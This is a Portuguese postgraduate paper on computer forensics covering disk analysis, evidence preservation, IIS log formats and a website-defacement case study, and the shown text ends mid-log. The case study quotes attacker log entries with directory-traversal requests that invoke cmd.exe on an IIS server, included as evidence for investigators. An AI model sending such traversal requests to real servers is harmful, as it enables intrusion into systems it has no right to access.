

Andrey Rodrigues de Freitas

“Perícia Forense Aplicada à Informática”

IBPI / Janeiro de 2003

Andrey Rodrigues de Freitas : andreyr@bol.com.br

Andrey Rodrigues de Freitas

“Perícia Forense Aplicada à Informática”

*Trabalho para o curso de Pós - Graduação “Lato Sensu”
em Internet Security, sob a orientação do Prof. Duval Costa*

IBPI / Janeiro de 2003

Resumo

O assunto tratado neste trabalho possibilita um vasto campo para estudo e pesquisas, desta forma com sua modesta abrangência, este trabalho pretende servir como motivação ao leitor para busca de novos conhecimentos no campo da perícia forense aplicada à informática. Não houve aqui a pretensão de esgotar o assunto, mas sim fornecer ao leitor um texto condensado reunindo conceitos fundamentais ao entendimento dos termos relacionados.

Constará detalhes sobre o processo de perícia forense aplicada à informática e a importância de seguir procedimentos específicos imediatamente depois de um crime por computador.

Índice Sumário

Introdução	1
Capítulo 1 - Perícia Forense.....	2
Perícia Forense Aplicada a Redes.....	2
Análise Pericial	3
Análise Física.....	3
Fazendo a Pesquisa de Sequência.....	4
O Processo de Busca e Extração	4
Extraindo Espaço Subaproveitado e Livre de Arquivos	5
Análise Lógica	6
Entendendo Onde Ficam as Provas	7
Capítulo 2 - Perícia Forense para Obtenção de Evidências.....	9
Identificação.....	9
Preservação	9
Análise	10
Apresentação.....	10
Capítulo 3 - Investigando Servidores Web	12
Microsoft IIS (Internet Information Server).....	13
W3C Extended Log File Format.....	14

Definições do Log do W3C Extended Log File Format	15
Definições de Log de Contabilização de Processos	16
Microsoft IIS Log File Format	18
NCSA Common Log File Format.....	19
Log ODBC.....	21
Nomes de Arquivos de Log	22
Análise de um Sistema Comprometido	23
O Aviso.....	23
A Sondagem.....	24
Encontrando a Vulnerabilidade	26
O Ataque.....	27
Outros Tipos de Ocorrências Encontradas nos Arquivos de Log.....	37
Conclusão.....	41
Bibliografia	42
Anexos.....	44
Anexo 1 - Como Saber que Houve uma Invasão.....	45
Anexo 2 - Definições dos Códigos de Status do HTTP	49
Anexo 3 - Ferramentas Utilizadas na Perícia Forense.....	52

Introdução

A Tecnologia da Informação avançou rapidamente em pouco tempo. As instituições estão utilizando estes avanços tecnológicos para melhorar as operações empresariais e o potencial de mercado. Pode-se pagar contas on-line; ou comprar qualquer coisa desde livros a mantimentos. Uma vasta quantia de importantes e sensíveis dados fluem ao redor do Cyber Espaço e a qualquer momento poderá cair em mãos maliciosas. Infelizmente, isto acontece diariamente. Quando alguém "rouba" dados do Cyber Espaço, é chamado de Cyber Crime.

Antigamente a chave para resolver crimes eram obtidas através de impressões digitais, relatórios de toxicologia, análise de rastro, documentos em papel e outros meios tradicionais.

Enquanto estes ainda provêm pedaços muito importantes do quebra-cabeça em muitos crimes cometidos hoje, a tecnologia adicionou uma outra dimensão com a evidência digital.

Freqüentemente mais informações podem ser ganhas da análise de um computador que o de uma impressão digital. A história inteira de um crime pode ser contada com a recuperação de um arquivo que pensaram ter sido apagado.

Capítulo 1 – Perícia Forense

Da mesma maneira que com outras ciências forenses, os profissionais da lei estão reconhecendo que a Perícia Forense pode prover evidência extremamente importante para solucionar um crime. Como é colocada uma maior ênfase em evidência digital, se tornará crescentemente crítico que a evidência seja controlada e examinada corretamente.

Perícia Forense em Sistemas Computacionais é o processo de coleta, recuperação, análise e correlacionamento de dados que visa, dentro do possível, reconstruir o curso das ações e recriar cenários completos fidedignos.

Perícia Forense Aplicada a Redes

No Manual de Patologia Forense do Colégio de Patologistas Americanos (1990), a ciência forense é definida como “*a aplicação de princípios das ciências físicas ao direito na busca da verdade em questões cíveis, criminais e de comportamento social para que não se cometam injustiças contra qualquer membro da sociedade*”. Portanto, define-se a perícia forense aplicada a redes como o estudo do tráfego de rede para procurar a verdade em questões cíveis, criminais e administrativas para proteger usuários e recursos de exploração, invasão de privacidade e qualquer outro crime promovido pela contínua expansão das conexões em rede.

Análise Pericial

A análise pericial é o processo usado pelo investigador para descobrir informações valiosas, a busca e extração de dados relevantes para uma investigação. O processo de análise pericial pode ser dividido em duas camadas : análise física e análise lógica.

A análise física é a pesquisa de seqüências e a extração de dados de toda a imagem pericial, dos arquivos normais às partes inacessíveis da mídia. A análise lógica consiste em analisar os arquivos das partições. O sistema de arquivos é investigado no formato nativo, percorrendo-se a árvore de diretórios do mesmo modo que se faz em um computador comum.

Análise Física

Durante a análise física são investigados os dados brutos da mídia de armazenamento. Ocasionalmente, pode-se começar a investigação por essa etapa, por exemplo quando se está investigando o conteúdo de um disco rígido desconhecido ou danificado. Depois que o software de criação de imagens tiver fixado as provas do sistema, os dados podem ser analisados por três processos principais : uma pesquisa de seqüência, um processo de busca e extração e uma extração de espaço subaproveitado e livre de arquivos. Todas as operações são realizadas na imagem pericial ou na copia restaurada das provas. Com freqüência , se faz pesquisas de seqüências para produzir listas de dados . essas listas são úteis nas fases posteriores da investigação. Entre as listas geradas estão as seguintes :

Todos os URLs encontrados na mídia.

Todos os endereços de e-mail encontrados na mídia.

Todas as ocorrências de pesquisa de seqüência com palavras sensíveis a caixa alta e baixa.

Fazendo a Pesquisa de Seqüência

O primeiro processo da análise física é a pesquisa de seqüências em todo o sistema. Uma das ferramentas de base DOS mais precisa é o StringSearch. Ela retorna o conteúdo da pesquisa de seqüência e o deslocamento de byte do início do arquivo. Quando se examinam os resultados da pesquisa de seqüências, tem-se um prático roteiro para converter o deslocamento em um valor de setor absoluto.

O Processo de Busca e Extração

Alguns tipos de caso podem beneficiar-se de uma forma especializada de pesquisa de seqüência , o processo de busca e extração. Este é o segundo dos três que se usa durante a análise física. O aplicativo analisa uma imagem pericial em busca de cabeçalhos dos tipos de arquivos relacionados ao tipo de caso em que se estiver trabalhando. Quando encontra um, extrai um número fixo de bytes a partir do ponto da ocorrência. Por exemplo, se estiver investigando um indivíduo suspeito de distribuição de pornografia ilegal, analisa-se a imagem pericial e se extrai blocos de dados que comecem com a seguinte seqüência hexadecimal :

\$4A \$46 \$49 \$46 \$00 \$01

Esta seqüência identifica o início de uma imagem JPEG. Alguns formatos de arquivos (entre eles o JPEG) incluem o comprimento do arquivo no cabeçalho. Isto é muito útil quando se está extraindo dados brutos de uma imagem pericial. Esta capacidade de extração forçada de arquivos é incrivelmente útil em sistemas de arquivos danificados ou quando os utilitários comuns de recuperação de arquivos apagados são ineficientes ou falham completamente.

Extraindo Espaço Subaproveitado e Livre de Arquivos

Até certo ponto, todos os sistemas de arquivos têm resíduos. Os tipos de resíduo se enquadram em duas categorias : espaço livre, ou não-alocado, e espaço subaproveitado.

O *espaço livre* é qualquer informação encontrada em um disco rígido que no momento não esteja alocada em um arquivo. O espaço livre pode nunca ter sido alocado ou ser considerado como não-alocado após a exclusão de um arquivo. Portanto, o conteúdo do espaço livre pode ser composto por fragmentos de arquivos excluídos. O espaço livre pode estar em qualquer área do disco que não esteja atribuída a um arquivo nativo, como um bloco de dados vazio no meio da terceira partição ou no 4253º setor não-atribuído da unidade, que não faz parte de uma partição por estar entre o cabeçalho e a primeira tabela de alocação de arquivos. Informações de escritas anteriores podem ainda estar nessas áreas e ser inacessíveis para o usuário comum. Para analisar o espaço livre é preciso trabalhar

em uma imagem do nível físico. O espaço *subaproveitado* ocorre quando dados são escritos na mídia de armazenamento em blocos que não preenchem o tamanho de bloco mínimo definido pelo sistema operacional.

Se decidir extrair o espaço de arquivos subaproveitados e livre, isto torna-se o terceiro processo de análise física mais importante. Esse processo exige uma ferramenta que possa distinguir a estrutura particular de sistema de arquivos em uso.

Análise Lógica

Durante um exame de arquivos lógicos, o conteúdo de cada partição é pesquisada com um sistema operacional que entenda o sistema de arquivos. É neste estágio que é cometida a maioria dos erros de manipulação das provas. O investigador precisa estar ciente de todas as medidas tomadas na imagem restaurada. É por isto que quase nunca se usa diretamente sistemas operacionais mais convenientes, como o Windows 95/98/NT/2000/XP. Mais uma vez, o objetivo básico é proteger as provas contra alterações.

Montar ou acessar a imagem restaurada a partir de um sistema operacional que entenda nativamente o formato do sistema de arquivos é muito arriscado, pois normalmente o processo de montagem não é documentado, não está à disposição do público e não pode ser verificado. A imagem restaurada precisa ser protegida e é por isso que se monta cada partição em Linux, em modo somente leitura. O sistema de arquivos montado é então exportado, via Samba, para a rede segura do

laboratório, onde os sistemas Windows 2000, carregados com visualizadores de arquivos, podem examinar os arquivos. É claro que a abordagem é ditada pelo próprio caso. Se fizer uma duplicata pericial de um sistema Irix 6.5, é provável que se evite usar o Windows 2000 para visualizar os dados.

Entendendo Onde Ficam as Provas

Locais onde se podem descobrir informações valiosas para uma investigação em três áreas :

Espaço de arquivos lógicos : Refere-se aos blocos do disco rígido que, no momento do exame, estão atribuídos a um arquivo ativo ou à estrutura de contabilidade do sistema de arquivos (como as tabelas FAT ou as estruturas inode).

Espaço subaproveitado : Espaço formado por blocos do sistema de arquivos parcialmente usados pelo sistema operacional. Chamamos todos os tipos de resíduo de arquivos, como a RAM e os arquivos subaproveitados, de espaço subaproveitado.

Espaço não-allocado : Qualquer setor não tomado, esteja ou não em uma partição ativa.

Para fins de ilustração, os dados de um disco rígido foram divididos em camadas, parecidas às do modelo de rede OSI. Encontram-se informações com valor de provas em todas essas camadas. O desafio é encontrar a ferramenta certa para

extrair as informações. A tabela 1 mostra as relações entre setores, clusters, partições e arquivos. Isso ajuda a determinar o tipo de ferramenta a ser usada para extrair as informações.

Cada camada do sistema de arquivos tem um fim definido, para o sistema operacional ou para o hardware do computador.

Camada do sistema de arquivos	Localização de provas em DOS ou Windows	Localização de provas em Linux
Armazenamento de aplicativos	Arquivos	Arquivos
Classificação de informações	Diretórios e pastas	Diretórios
Alocação de espaço de armazenamento	FAT	Inode e bitmaps de dados
Formato de blocos	Clusters	Blocos
Classificação de dados	Partições	Partições
Física	Setores absolutos ou C/H/S	Setores absolutos

Tabela 1: Camadas de armazenamento do sistema de arquivos

Capítulo 2 - Perícia Forense para Obtenção de Evidências

Diariamente há diversos tipos de casos de fraudes e crimes (Cyber Crimes), onde o meio eletrônico foi em algum momento utilizado para este fim. A missão da perícia forense é a obtenção de provas irrefutáveis, as quais irão se tornar o elemento chave na decisão de situações jurídicas, tanto na esfera civil quanto criminal. Para tanto, é crítico observar uma metodologia estruturada visando à obtenção do sucesso nestes projetos.

Identificação

Dentre os vários fatores envolvidos no caso, é necessário estabelecer com clareza quais são as conexões relevantes como datas, nomes de pessoas, empresas, órgãos públicos, autarquias, instituições etc., dentre as quais foi estabelecida a comunicação eletrônica. Discos rígidos em computadores podem trazer a sua origem (imensas quantidades de informações) após os processos de recuperação de dados.

Preservação

Todas as evidências encontradas precisam obrigatoriamente ser legítimas, para

terem sua posterior validade jurídica. Sendo assim, todo o processo relativo à obtenção e coleta das mesmas, seja no elemento físico (computadores) ou lógico (mapas de armazenamento de memória de dados) deve seguir normas internacionais. Parte-se sempre do princípio de que a outra parte envolvida no caso poderá e deverá pedir a contra-prova, sobre os mesmos elementos físicos, então o profissionalismo destas tarefas será crítico na seqüência do processo, lembrando sempre que, caso o juiz não valide a evidência, ela não poderá ser re-apresentada.

Análise

Será a pesquisa propriamente dita, onde todos os filtros de camadas de informação já foram transpostos e pode-se deter especificamente nos elementos relevantes ao caso em questão. Novamente, deve-se sempre ser muito profissional em termos da obtenção da chamada “prova legítima”, a qual consiste numa demonstração efetiva e inquestionável dos rastros e elementos da comunicação entre as partes envolvidas e seu teor, além das datas, trilhas, e histórico dos segmentos de disco utilizados.

Apresentação

Tecnicamente chamada de “substanciação da evidência”, ela consiste no enquadramento das evidências dentro do formato jurídico como o caso será ou poderá ser tratado. Os advogados de cada uma das partes ou mesmo o juiz do caso poderão enquadrá-lo na esfera civil ou criminal ou mesmo em ambas. Desta forma,

quando se tem a certeza material das evidências, atua-se em conjunto com uma das partes acima descritas para a apresentação das mesmas.

Capítulo 3 - Investigando Servidores Web

Os ataques com base em Web geralmente se encaixam em três (3) categorias: ataques contra o próprio servidor (um pedido de acesso), ataques contra o conteúdo (desfiguração do site/defacement) e ataques contra a empresa ou organização (roubo de produto ou informação).

Os ataques via Web são freqüentes devido à vulnerabilidade no software e autenticação do sistema operacional e os mais comuns são os de desfiguração de site.

Em um sistema Web pode-se envolver diferentes tecnologias, tais como: Java, JavaScript, VbScript, Active Server Pages (ASP), Secure Sockets Layer (SSL), Common Gateway Interface (CGI), PHP, HTML, ColdFusion, etc. E os métodos investigativos são facilmente adaptados para qualquer uma dessas tecnologias. Investigações em servidores Web são mais facilmente conduzidas com a assistência de administradores e desenvolvedores do site.

Diversos arquivos de log podem ser usados para confirmar ou não se um incidente ocorreu e então determinar o tipo, extensão, causa e origem do incidente. Somente uma entrada no arquivo de log possa não ser suficiente para termos uma imagem do incidente, mas uma série de entradas dá ao investigador um controle do tempo e o contexto necessário para compreender o incidente. Uma compreensão geral do incidente é fundamental para a resposta eficaz.

Antes de poder recuperar a segurança de um servidor Web, é preciso compreender sua vulnerabilidade.

Microsoft IIS (Internet Information Server)

A forma mais simples de segurança de um Web Site é manter um log dos computadores que contatam o site. O log é um registro de quem visitou, quando visitou e o que procurou no site. Ao verificar os logs, pode-se descobrir quantas pessoas estão usando o site e certificar-se de que ninguém está fazendo mau uso dele.

Ao investigar arquivos de log, as informações são armazenadas de uma forma legível e simples. Os campos importantes para investigar incidentes suspeitos incluem o registro data/hora, endereço IP de origem, código do status do HTTP e recurso requisitado.

No IIS, o arquivo de log padrão está localizado no diretório C:\WINNT\System32\Logfiles\W3SVC1 e o nome do log é baseado na data atual, no formato exaammdd.log, por exemplo: ex020327.log. O formato padrão é o W3C (World Wide Web Consortium) Extended Log File Format (Formato de Arquivo de Log Estendido), um formato padrão que muitos utilitários de terceiros interpretam e analisam. Outros formatos disponíveis são: Microsoft IIS Log File Format (Formato de log do Microsoft IIS) , NCSA Common Log File Format (Formato de arquivo de log comum do NCSA) e log ODBC (Open Database

Connectivity) em sistemas Windows 2000, que envia um formato fixo a um banco de dados especificado.

W3C Extended Log File Format

O formato estendido do W3C é um formato ASCII personalizável com vários campos diferentes. Pode-se incluir campos importantes, ao mesmo tempo em que limita o tamanho do log omitindo campos indesejáveis. Os campos são separados por espaços. O horário é registrado como UTC (Hora de Greenwich).

O exemplo abaixo mostra linhas de um arquivo que usa os seguintes campos: Hora, Endereço IP do cliente, Método, Tronco URI, Status do HTTP e Versão do HTTP.

```
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2002-03-27 17:42:15
#Fields: time c-ip cs-method cs-uri-stem sc-status cs-version
17:42:15 172.16.255.255 GET /default.asp 200 HTTP/1.0
```

A entrada anterior indica que no dia 27 de março de 2002 às 17:42, UTC, um usuário com a versão 1.0 do HTTP e o endereço IP 172.16.255.255 emitiu um comando GET do HTTP para o arquivo Default.asp. A solicitação foi atendida sem erro. O campo #Date: indica quando a primeira entrada do log foi feita; essa entrada é feita quando o log é criado. O campo #Version: indica que foi usado o formato de log do W3C.

É possível selecionar qualquer um dos campos, mas alguns campos podem não ter informações disponíveis para algumas solicitações. Para os campos que forem selecionados, mas para os quais não houver informações, aparecerá um travessão (—) no campo como um espaço reservado.

Definições do Log do W3C Extended Log File Format

Prefixo	Significado
s-	Ações do servidor
c-	Ações do cliente
cs-	Ações de cliente para servidor
sc-	Ações de servidor para cliente

Campo	Aparece como	Descrição
Data	date	Data de ocorrência da atividade.
Hora	time	Hora de ocorrência da atividade.
Endereço IP do cliente	c-ip	Endereço IP do cliente que acessou o servidor.
Nome do usuário	cs-username	Nome do usuário autenticado que acessou o servidor. Isso não inclui usuários anônimos, representados por um hífen.
Nome do serviço e número da instância	s-sitename	O serviço de Internet e o número da instância executados no computador cliente.
Nome do servidor	s-computername	Nome do servidor em que a entrada de log foi gerada.
IP do servidor	s-ip	Endereço IP do servidor em que a entrada de log foi gerada.
Método	cs-method	Ação que o cliente estava tentando executar (por exemplo, um método GET).
Tronco URI	cs-uri-stem	Recurso acessado; por exemplo, o Default.htm.
Consulta URI	cs-uri-query	A consulta, se houver, que o cliente estava tentando fazer.
Status do Http	sc-status	Status da ação, nos termos empregados pelo HTTP.
Status do	sc-win32-status	Status da ação, nos termos empregados pelo Windows 2000.

Win32		
Bytes enviados	sc-bytes	Número de bytes enviados pelo servidor.
Bytes recebidos	cs-bytes	Número de bytes recebidos pelo servidor.
Porta do servidor	s-port	Número da porta à qual o cliente está conectado.
Tempo gasto	time-taken	Tempo gasto pela ação.
Versão do protocolo	cs-version	Versão do protocolo (HTTP, FTP) utilizada pelo cliente. No caso do HTTP, será HTTP 1.0 ou HTTP 1.1.
Agente do usuário	cs(user-agent)	Navegador utilizado no cliente.
Cookie	cs(cookie)	Conteúdo do cookie enviado ou recebido, se houver.
Referenciador	cs(referer)	Site anterior visitado pelo usuário. Este site fornece um link para o site atual.

Definições de Log de Contabilização de Processos

Campo	Aparece como	Descrição
Tipo de processo	s-process-type	Tipo de processo disparado pelo evento, um aplicativo CGI ou fora de processo. O tipo pode ser CGI, Aplicativo ou Todos.
Evento de processo	s-event	O evento disparado: Site-Stop, Site-Start, Site-Pause, Periodic-Log, Interval-Start, Interval-End, Interval-Change, Log-Change-Int/Start/Stop, Eventlog-Limit, Priority-Limit, Process-Stop-Limit, Site-Pause-Limit, Eventlog-Limit-Reset, Priority-Limit-Reset, Process-Stop-Limit-Reset ou Site-Pause-Limit-Reset.
Tempo total do usuário	c-user-time	Tempo total acumulado do processador de modo do usuário, em segundos, utilizado pelo site durante o intervalo atual.
Tempo total do núcleo	s-kernel-time	Tempo total acumulado do processador de modo do núcleo, em segundos, utilizado pelo site durante o intervalo atual.
Total de falhas da página	s-page-faults	Número total de referência de memória que resultou em falhas de página de memória.
Total de processos	s-total-procs	Número total de aplicativos CGI e fora de processo, criados durante o intervalo atual.

Processos ativos	s-active-procs	Número total de aplicativos CGI e fora de processo em execução quando o log foi gravado.
Total de processos encerrados	s-topped-procs	Número total de aplicativos CGI e fora de processo parados devido ao estreitamento do processo, durante o intervalo atual.

Valor	Significado
Site-Stop	Site da Web parado por algum motivo.
Site-Start	Site da Web iniciado ou reiniciado.
Site-Pause	Pausa no site da Web.
Periodic-Log	Entrada de log definida regularmente, cujo intervalo foi especificado pelo administrador.
Interval-Start	Intervalo de redefinição iniciado.
Interval-End	Intervalo de redefinição atingido e redefinido.
Interval-Change	O administrador do site da Web alterou o valor do Intervalo de redefinição.
Log-Change-Int/Start/Stop	Ocorreu um dos seguintes eventos: intervalo de log modificado; evento de intervalo; ou site parado, iniciado ou interrompido.
Eventlog-Limit	Log de evento criado para o site da Web porque um aplicativo CGI ou fora de processo atingiu o limite de log de evento definido pelo administrador.
Priority-Limit	O site da Web teve um aplicativo CGI ou fora de processo definido com baixa prioridade porque atingiu o limite de baixa prioridade definido pelo administrador.
Process-Stop-Limit	O site da Web teve um aplicativo CGI ou fora de processo parado porque atingiu o limite de paralisação de processos definido pelo administrador.
Site-Pause-Limit	O site da Web foi interrompido porque um aplicativo CGI ou fora de processo atingiu o limite de interrupção de sites definido pelo administrador.
Eventlog-Limit-Reset	O Intervalo de redefinição foi alcançado ou o Eventlog-Limit foi redefinido manualmente.
Priority-Limit-Reset	O Intervalo de redefinição foi alcançado ou o Priority-Limit foi redefinido manualmente.
Process-Stop-Limit-Reset	O Intervalo de redefinição foi alcançado ou o Process-Stop-Limit foi redefinido manualmente.
Site-Pause-Limit-Reset	O Intervalo de redefinição foi alcançado ou o Site-Pause-Limit foi redefinido manualmente.

De todos os campos que podem ser encontrados nos arquivos de logs, o HTTP Status (sc-status) requer alguma explicação. Em geral, qualquer código entre 200 e 299 indica sucesso, os códigos entre 300 e 399 indicam ações que precisam ser tomadas pelo cliente para cumprir um pedido. Códigos entre 400 e 499 e entre 500 e 599 indicam erros do cliente e servidor, respectivamente.

Microsoft IIS Log File Format

O formato do arquivo de log do Microsoft IIS é um formato ASCII fixo (não personalizável). Ele registra mais informações que o formato comum do NCSA. O formato do Microsoft IIS inclui itens básicos como o endereço IP do usuário, o nome do usuário, a data e o horário da solicitação, o código de status do HTTP e o número de bytes recebidos. Além disso, ele inclui itens detalhados como o tempo decorrido, o número de bytes enviados, a ação (por exemplo, um download efetuado por um comando GET) e o arquivo de destino. Os itens são separados por vírgulas, tornando o formato mais fácil de ler que os outros formatos ASCII, que usam espaços como separadores. O horário é registrado na hora local.

Quando se abre um arquivo no formato do Microsoft IIS em um editor de texto, as entradas serão semelhantes aos seguintes exemplos:

```
192.168.114.201, -, 03/27/2002, 7:55:20, W3SVC2, VENDAS1, 172.21.13.45,  
4502, 163, 3223, 200, 0, GET, DeptLogo.gif
```

Os exemplos de entradas acima são interpretados nas tabelas a seguir. A linha superior nas duas tabelas é da segunda instância do site da Web (que aparece na

coluna "Serviço" como W3SVC). O exemplo é apresentado em duas tabelas devido às limitações de largura da página.

Endereço IP do usuário	Nome de usuário	Data	Hora	Serviço e instância	Nome do computador	Endereço IP do servidor
192.168.114.201	—	03/27/2002	7:55:20	W3SVC2	VENDAS1	172.21.13.45

Tempo gasto	Bytes recebidos	Bytes enviados	Código de status de serviço	Código de status do Windows 2000	Tipo de solicitação	Destino da operação
4502	163	3223	200	0	GET	DeptLogo.gif

No exemplo, a primeira entrada indica que um usuário anônimo com o endereço IP 192.168.114.201 emitiu um comando GET do HTTP para o arquivo de imagem DeptLogo.gif às 7:55 em 27 de março de 2002, de um servidor chamado VENDAS1 no endereço IP 172.21.13.45. A solicitação HTTP de 163 bytes gastou um tempo de processamento de 4502 milissegundos (4,5 segundos) para ser concluída e retornou, sem erro, 3223 bytes de dados para o usuário anônimo.

No arquivo de log, todos os campos terminam com uma vírgula (.). Um hífen agirá como um marcador de posição se não houver valor válido para um determinado campo.

NCSA Common Log File Format

O formato comum do NCSA é um formato ASCII fixo (não personalizável), disponível para sites da Web mas não para sites FTP. Ele registra informações básicas sobre solicitações de usuários, como o nome do host remoto, o nome de

usuário, a data, o horário, o tipo de solicitação, o código de status do HTTP e o número de bytes recebidos pelo servidor. Os itens são separados por espaços; o horário é registrado na hora local.

Quando se abre um arquivo do formato comum do NCSA em um editor de texto, as entradas serão semelhantes ao seguinte exemplo:

```
172.21.13.45 - INFORMATICA\Andrey [08/Apr/2002:17:39:04 -0800] "GET /scripts/iisadmin/ism.dll?http/serv HTTP/1.0" 200 3401
```

Observação : Na entrada anterior, o segundo campo (que deveria mostrar o nome de log remoto do usuário) está vazio e é representado por um hífen após o endereço IP 172.21.13.45.

O exemplo de entrada anterior é interpretado nas tabelas a seguir. O exemplo é apresentado em duas tabelas devido às limitações de largura da página.

Nome do host remoto	Nome de usuário	Data	Horário e desvio de GMT
172.21.13.45	INFORMATICA\Andrey	08/Apr/2002	17:39:10 -0800

Tipo de solicitação	Código de status de serviço	Bytes enviados
GET /scripts/iisadmin/ism.dll?http/serv HTTP/1.0	200	3401

A entrada indica que um usuário chamado Andrey no domínio INFORMATICA, com o endereço IP 172.21.13.45, emitiu um comando GET do HTTP (ou seja, descarregou um arquivo) às 17:39 no dia 8 de abril de 2002. A solicitação retornou, sem erro (200), 3401 bytes de dados para o usuário chamado Andrey.

Log ODBC

Outra opção é registrar solicitações do site da Web em um banco de dados Open Database Connectivity (ODBC). Para registrar em um banco de dados ODBC, será preciso configurar o Data Source Name (DSN, nome da fonte de dados), a tabela e especificar o nome de usuário e a senha a serem usados durante o registro no banco de dados.

Uma diferença importante entre o registro do ODBC e as outras opções é que com ele, uma única transmissão cria vários registros. Por causa desse grande número de entradas, o registro do ODBC requer mais recursos de servidor que os outros métodos de registro, podendo afetar o desempenho do servidor Web, dependendo do tipo de banco de dados, localização e quantidade de entradas registradas.

A lista a seguir é um exemplo dos campos que os registros do ODBC geram :

<i>Clienthost</i>	: Endereço IP do cliente;
<i>Username</i>	: Nome de domínio do cliente;
<i>Logtime</i>	: Data e hora da conexão;
<i>Service</i>	: Serviço do Internet Information Server;
<i>ServerIP</i>	: Endereço IP do servidor;
<i>Processing Time</i>	: Tempo de processamento em milissegundos;
<i>BytesRecvd</i>	: Bytes recebidos pelo servidor;
<i>BytesSent</i>	: Bytes enviados pelo servidor;
<i>ServiceStatus</i>	: Código de resposta do protocolo;
<i>Win32Status</i>	: Status do Windows 2000 Server ou o código do erro;

Operation : Comando do protocolo;

Target : Destinatário.

Nomes de Arquivos de Log

Os nomes de arquivos de log usam várias das primeiras letras para representar o formato de log e os números restantes para representar o intervalo de tempo ou a seqüência do log. As letras em itálico representam dígitos: *nn* para os dígitos seqüenciais, *yy* para o ano, *mm* para o mês, *ww* para a semana do mês, *dd* para o dia, *hh* para o horário no formato de 24 horas (ou seja, 17 corresponde a 5:00 P.M.).

Formato	Critério para novos logs	Padrão de nome de arquivo
Formato de log do Microsoft IIS	Por tamanho do arquivo	inetsvnn.log
	Por hora	inyymmddhh.log
	Diariamente	inyymmdd.log
	Semanalmente	inyymmww.log
	Mensalmente	inyymm.log
Formato de arquivo de log comum do NCSA	Por tamanho do arquivo	ncsann.log
	Por hora	ncyymmddhh.log
	Diariamente	ncyymmdd.log
	Semanalmente	ncyymmww.log
	Mensalmente	ncyymm.log
Formato de arquivo de log estendido do W3C	Por tamanho do arquivo	extendnn.log
	Por hora	exyymmddhh.log
	Diariamente	exyymmdd.log
	Semanalmente	exyymmww.log
	Mensalmente	exyymm.log

Análise de um Sistema Comprometido

Após ter sido apresentado como são os formatos dos arquivos de logs do servidor Web IIS da Microsoft e suas características, inicia-se agora um estudo de caso em que uma grande empresa teve seu site Web desfigurado (defacement). Será demonstrado como o hacker entrou no sistema, de onde vem o ataque e qual foi a alteração ocorrida no sistema.

Ao estudar um ataque deve-se começar pelo início da tentativa de invasão. Onde o hacker começou ? Após identificar o início, pode-se fazer o passo a passo do ataque decodificando o mesmo.

O Aviso

No dia 27 de março de 2002, recebemos a informação de que um dos servidores web havia sido atacado e que a página inicial do site da empresa teria sido alterada.

Os servidores web recebem inúmeras sondagens, varreduras (scans) e consultas diariamente. Entretanto, uma informação como esta informada pelo administrador da rede merece uma atenção imediata, uma vez que os ataques via Web são do tipo de ataque mais devastador em termos de percepção do público.

A Sondagem

Sabemos que a desfiguração aconteceu no dia 27/03/2002. Assim sendo, começaremos procurando nos arquivos de logs do IIS por possíveis sondagens de informações : o estágio de coleta de informações.

Se o hacker tem por finalidade específica atacar o site de uma empresa (para roubo de informações ou produto), normalmente se começa com a coleta de informações. Primeiro irá determinar quais as informações sobre o software e funcionalidade do servidor Web estão disponíveis, podendo utilizar um “site espelhado” para estudo. Embora não seja ilegal e não indique um ataque por si só, quando esse tipo de coleta de informações é combinada com outras atividades, o investigador deve desconfiar. Para examinar a total funcionalidade do site, o invasor espelha o site, copiando cada página para examiná-las em detalhes off-line. Para o IIS, essa atividade deve aparecer como muitos pedidos do mesmo IP de origem durante um curto período de tempo :

```
2002-03-25 12:26:13 200.165.19.23 GET / 401
2002-03-25 12:26:14 200.165.19.23 GET /Default.asp 200
2002-03-25 12:26:15 200.165.19.23 GET /principal.asp 200
2002-03-25 12:26:15 200.165.19.23 GET /img/logo1.jpg 200
2002-03-25 12:26:15 200.165.19.23 GET /img/pixel_branco.gif 401
2002-03-25 12:26:16 200.165.19.23 GET /img/l_eazul.gif 200
2002-03-25 12:26:16 200.165.19.23 GET /img/l_dazul.gif 200
2002-03-25 12:26:17 200.165.19.23 GET /img/l_leazul.gif 200
```

Observe a data do espelhamento do site, 25 de março, dois dias anteriores ao ataque.

Depois de reunir informações sobre o servidor Web e criar o espelhamento do site, o invasor começa a “varredura da vulnerabilidade”. O invasor procura pela existência de páginas Web com vulnerabilidades conhecidas.

Os detalhes-chave a serem procurados nos logs são pedidos repetidos de recursos que resultam em códigos de erro sendo retornados ao cliente. Qualquer varredura de vulnerabilidade procurando por páginas vulneráveis conhecidas da Web inevitavelmente incorrerão em muitos códigos de erro do tipo 404 (“arquivo não encontrado – file not found”). Além disso, o IP de origem deve continuar estável e em um curto período de tempo.

```
2002-03-26 22:03:30 200.165.19.23 GET /scripts/..\..\winnt/system32/cmd.exe
401
2002-03-26 22:03:35 200.165.19.23 GET
/scripts/..\..\winnt/system32/cmd.exe 401
2002-03-26 22:03:39 200.165.19.23 GET /winnt/system32/cmd.exe 401
2002-03-26 22:03:42 200.165.19.23 GET /winnt/system32/cmd.exe 404
2002-03-26 22:03:45 200.165.19.23 GET /command/system32/CACLS.EXE 200
2002-03-26 22:03:47 200.165.19.23 GET /command/system32/calc.exe 401
2002-03-26 22:03:49 200.165.19.23 GET /inetpub/wwwroot/cmd.exe /c+dir. 401
2002-03-26 22:03:51 200.165.19.23 GET
/scripts/..\..\winnt/system32/cmd.exe?/c+dir+c: 500
2002-03-26 22:03:52 200.165.19.23 GET
/scripts/..\..\winnt/system32/cmd.exe?/c+dir+c: HTTP/1.0" 500
2002-03-26 22:03:53 200.165.19.23 GET /IISamples/Default/teste.asp 404
2002-03-26 22:03:55 200.165.19.23 GET /IISamples/Default/sdfgdfgdfgfg.idq 404
2002-03-26 22:03:58 200.165.19.23 GET
/scripts/..\..\winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:01 200.165.19.23 GET
/scripts..\..\winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:03 200.165.19.23 GET
/scripts/..\..\winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:04 200.165.19.23 GET
/scripts/..\..\winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:05 200.165.19.23 GET
/scripts/..\..\winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:06 200.165.19.23 GET
/scripts/..\..\winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:07 200.165.19.23 GET
/scripts/..\..\winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:08 200.165.19.23 GET
/scripts/..o../winnt/system32/cmd.exe?/c+dir 500
2002-03-26 22:04:09 200.165.19.23 GET
